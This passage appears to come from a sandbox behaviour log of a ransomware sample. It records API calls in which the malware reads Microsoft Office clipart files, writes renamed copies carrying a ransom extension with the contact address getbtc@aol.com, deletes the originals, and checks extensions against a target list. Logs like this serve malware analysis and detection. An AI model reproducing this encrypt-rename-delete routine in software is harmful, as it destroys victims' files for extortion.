hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=14308) returned 1 [0264.957] CloseHandle (hObject=0x3d8) returned 1 [0264.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf")) returned 0x20 [0264.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.958] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.958] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.959] GetLastError () returned 0x0 [0264.959] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x37e4, lpOverlapped=0x0) returned 1 [0265.086] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x37f0, lpOverlapped=0x0) returned 1 [0265.126] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.126] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.126] SetEndOfFile (hFile=0x1f8) returned 1 [0265.126] CloseHandle (hObject=0x1f8) returned 1 [0265.126] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.126] SetEndOfFile (hFile=0x3d8) returned 1 [0265.160] CloseHandle (hObject=0x3d8) returned 1 [0265.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf")) returned 1 [0265.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.161] lstrlenW (lpString=".doc") returned 4 [0265.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.161] lstrlenW (lpString=".docx") returned 5 [0265.161] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.161] lstrlenW (lpString=".pdf") returned 4 [0265.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.161] lstrlenW (lpString=".xls") returned 4 [0265.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.162] lstrlenW (lpString=".xlsx") returned 5 [0265.162] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.162] lstrlenW (lpString=".ppt") returned 4 [0265.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.162] lstrlenW (lpString=".zip") returned 4 [0265.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.162] lstrlenW (lpString=".rar") returned 4 [0265.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.162] lstrlenW (lpString=".bz2") returned 4 [0265.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.162] lstrlenW (lpString=".7z") returned 3 [0265.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.162] lstrlenW (lpString=".dbf") returned 4 [0265.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.162] lstrlenW (lpString=".1cd") returned 4 [0265.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.162] lstrlenW (lpString=".jpg") returned 4 [0265.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.162] lstrlenW (lpString=".doc") returned 4 [0265.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.162] lstrlenW (lpString=".docx") returned 5 [0265.162] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.162] lstrlenW (lpString=".pdf") returned 4 [0265.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.162] lstrlenW (lpString=".xls") returned 4 [0265.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.162] lstrlenW (lpString=".xlsx") returned 5 [0265.162] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.162] lstrlenW (lpString=".ppt") returned 4 [0265.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.163] lstrlenW (lpString=".zip") returned 4 [0265.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.163] lstrlenW (lpString=".rar") returned 4 [0265.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.163] lstrlenW (lpString=".bz2") returned 4 [0265.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.163] lstrlenW (lpString=".7z") returned 3 [0265.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.163] lstrlenW (lpString=".dbf") returned 4 [0265.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.163] lstrlenW (lpString=".1cd") returned 4 [0265.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0265.163] lstrlenW (lpString=".jpg") returned 4 [0265.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.163] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.163] lstrlenW (lpString="J0187839.WMF") returned 12 [0265.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.182] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=5372) returned 1 [0265.182] CloseHandle (hObject=0x37c) returned 1 [0265.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf")) returned 0x20 [0265.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.189] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.189] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.190] GetLastError () returned 0x0 [0265.190] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x14fc, lpOverlapped=0x0) returned 1 [0265.201] WriteFile (in: hFile=0x360, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0265.202] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.202] WriteFile (in: hFile=0x360, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.202] SetEndOfFile (hFile=0x360) returned 1 [0265.202] CloseHandle (hObject=0x360) returned 1 [0265.202] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.202] SetEndOfFile (hFile=0x390) returned 1 [0265.204] CloseHandle (hObject=0x390) returned 1 [0265.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf")) returned 1 [0265.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.288] lstrlenW (lpString=".doc") returned 4 [0265.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.295] lstrlenW (lpString=".docx") returned 5 [0265.295] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.295] lstrlenW (lpString=".pdf") returned 4 [0265.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.295] lstrlenW (lpString=".xls") returned 4 [0265.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.295] lstrlenW (lpString=".xlsx") returned 5 [0265.295] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.295] lstrlenW (lpString=".ppt") returned 4 [0265.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.295] lstrlenW (lpString=".zip") returned 4 [0265.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.295] lstrlenW (lpString=".rar") returned 4 [0265.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.295] lstrlenW (lpString=".bz2") returned 4 [0265.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.295] lstrlenW (lpString=".7z") returned 3 [0265.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.295] lstrlenW (lpString=".dbf") returned 4 [0265.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.295] lstrlenW (lpString=".1cd") returned 4 [0265.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.296] lstrlenW (lpString=".jpg") returned 4 [0265.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.296] lstrlenW (lpString=".doc") returned 4 [0265.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString=".docx") returned 5 [0265.296] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.296] lstrlenW (lpString=".pdf") returned 4 [0265.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString=".xls") returned 4 [0265.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.296] lstrlenW (lpString=".xlsx") returned 5 [0265.296] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.296] lstrlenW (lpString=".ppt") returned 4 [0265.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.296] lstrlenW (lpString=".zip") returned 4 [0265.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.296] lstrlenW (lpString=".rar") returned 4 [0265.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString=".bz2") returned 4 [0265.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString=".7z") returned 3 [0265.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.296] lstrlenW (lpString=".dbf") returned 4 [0265.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.296] lstrlenW (lpString=".1cd") returned 4 [0265.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0265.296] lstrlenW (lpString=".jpg") returned 4 [0265.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.297] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.297] lstrlenW (lpString="J0188513.WMF") returned 12 [0265.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.483] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=12292) returned 1 [0265.483] CloseHandle (hObject=0x360) returned 1 [0265.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf")) returned 0x20 [0265.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.483] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.483] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.484] GetLastError () returned 0x0 [0265.484] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3004, lpOverlapped=0x0) returned 1 [0265.485] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3010, lpOverlapped=0x0) returned 1 [0265.487] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.487] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.487] SetEndOfFile (hFile=0x3a0) returned 1 [0265.487] CloseHandle (hObject=0x3a0) returned 1 [0265.487] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.487] SetEndOfFile (hFile=0x360) returned 1 [0265.489] CloseHandle (hObject=0x360) returned 1 [0265.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf")) returned 1 [0265.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.490] lstrlenW (lpString=".doc") returned 4 [0265.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.490] lstrlenW (lpString=".docx") returned 5 [0265.490] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.490] lstrlenW (lpString=".pdf") returned 4 [0265.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.490] lstrlenW (lpString=".xls") returned 4 [0265.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.490] lstrlenW (lpString=".xlsx") returned 5 [0265.490] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.490] lstrlenW (lpString=".ppt") returned 4 [0265.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.490] lstrlenW (lpString=".zip") returned 4 [0265.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.490] lstrlenW (lpString=".rar") returned 4 [0265.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.490] lstrlenW (lpString=".bz2") returned 4 [0265.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.490] lstrlenW (lpString=".7z") returned 3 [0265.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.490] lstrlenW (lpString=".dbf") returned 4 [0265.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.490] lstrlenW (lpString=".1cd") returned 4 [0265.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.491] lstrlenW (lpString=".jpg") returned 4 [0265.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.491] lstrlenW (lpString=".doc") returned 4 [0265.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.491] lstrlenW (lpString=".docx") returned 5 [0265.491] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.491] lstrlenW (lpString=".pdf") returned 4 [0265.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.491] lstrlenW (lpString=".xls") returned 4 [0265.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.491] lstrlenW (lpString=".xlsx") returned 5 [0265.491] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.491] lstrlenW (lpString=".ppt") returned 4 [0265.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.491] lstrlenW (lpString=".zip") returned 4 [0265.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.491] lstrlenW (lpString=".rar") returned 4 [0265.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.491] lstrlenW (lpString=".bz2") returned 4 [0265.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.491] lstrlenW (lpString=".7z") returned 3 [0265.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.491] lstrlenW (lpString=".dbf") returned 4 [0265.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.491] lstrlenW (lpString=".1cd") returned 4 [0265.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0265.491] lstrlenW (lpString=".jpg") returned 4 [0265.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.492] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.492] lstrlenW (lpString="J0195342.WMF") returned 12 [0265.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.492] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=21328) returned 1 [0265.492] CloseHandle (hObject=0x360) returned 1 [0265.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf")) returned 0x20 [0265.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 